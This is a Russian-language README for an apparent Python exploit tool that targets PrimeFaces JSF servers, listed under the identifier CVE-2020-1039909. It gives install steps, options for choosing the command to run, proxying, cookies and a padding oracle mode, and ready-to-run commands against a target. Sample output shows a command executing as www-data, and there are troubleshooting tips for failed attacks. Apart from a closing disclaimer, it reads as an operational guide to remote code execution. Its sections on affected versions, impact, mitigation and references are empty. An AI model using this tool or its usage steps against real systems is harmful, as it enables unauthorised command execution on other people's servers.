
Python-эксплойт для CVE-2020-1039909, уязвимости удалённого выполнения кода в Primefaces JSF. Выполняет произвольные команды через атаку padding oracle, с опциями для прокси, cookies и режима POC.
README - CVE-2020-1039909 Primefaces Remote Code Execution
============================================================
ОБ УЯЗВИМОСТИ
CVE-2020-1039909 — это уязвимость удалённого выполнения кода (RCE) в фреймворке Primefaces JSF. Ошибка позволяет атакующему выполнять произвольные команды на сервере через атаку Padding Oracle, из-за использования слабого шифрования и пароля по умолчанию.
Затронутые версии:
Воздействие:
============================================================
ПРЕДВАРИТЕЛЬНЫЕ ТРЕБОВАНИЯ
Установка зависимостей:
pip install requests pycryptodome paddingoracle
============================================================
ДОСТУПНЫЕ КОМАНДЫ
Основные параметры:
target URL цели (например: http://target.com) -pw, --password Пароль Primefaces (по умолчанию: primefaces) -pt, --path Путь к dynamiccontent.properties (по умолчанию: /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd Команда для выполнения (по умолчанию: whoami) -poc, --poc Использовать тестовый payload (только проверка уязвимости) -px, --proxy Настроить прокси (например: http://127.0.0.1:8080) -ck, --cookie Настроить cookie -o, --oracle Включить атаку Padding Oracle (1 = включено, 0 = выключено) (ПО УМОЛЧАНИЮ: 0) (МЕДЛЕННО) -pl, --payload Зашифрованный EL payload (для использования с Padding Oracle)
============================================================
ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
python3 exploit.py http://target.com
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "payload_criptografado"
============================================================
ПРИМЕР ВЫВОДА
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
РЕЖИМ POC (ТЕСТ НА УЯЗВИМОСТЬ)
Режим POC только проверяет, уязвима ли цель, без выполнения опасных команд:
python3 exploit.py http://target.com --poc
Ожидаемый вывод, если уязвима:
[+] BANG!!! :D - Target IS VULNERABLE!!!
Вывод, если не уязвима:
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE (МЕДЛЕННЫЙ РЕЖИМ)
Если стандартная атака не сработала (пустое тело ответа), попробуйте режим Padding Oracle. Этот режим медленнее, но эффективнее:
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
ПРОКСИ И ОТЛАДКА
Для анализа запросов с помощью Burp Suite:
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
ЧАСТЫЕ ОШИБКИ И РЕШЕНИЯ
"Response body empty... Target might not be vulnerable" Попробуйте режим Padding Oracle: -o 1
"Target Probably NOT VULNERABLE" Цель может быть пропатчена или не использует пароль по умолчанию
"Connection refused" Проверьте, доступна ли цель
"SSL Error" Используйте http вместо https или игнорируйте сертификаты
============================================================
СОВЕТЫ ПО ЭКСПЛУАТАЦИИ
============================================================
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Данное программное обеспечение предоставляется в образовательных целях и для тестирования. Автор не несёт ответственности за любой ущерб, убытки или последствия, возникшие в результате неправомерного использования данного инструмента.
Пользователь несёт единоличную ответственность за свои действия. Использование данного эксплойта на системах без авторизации незаконно и может привести к гражданским и уголовным наказаниям.
Используйте ответственно и этично. Знания предназначены для распространения, но мудрость заключается в понимании того, как и когда их применять.
============================================================
МИТИГАЦИЯ (ДЛЯ АДМИНИСТРАТОРОВ)
============================================================
ССЫЛКИ
============================================================
Developed by byt3l0rd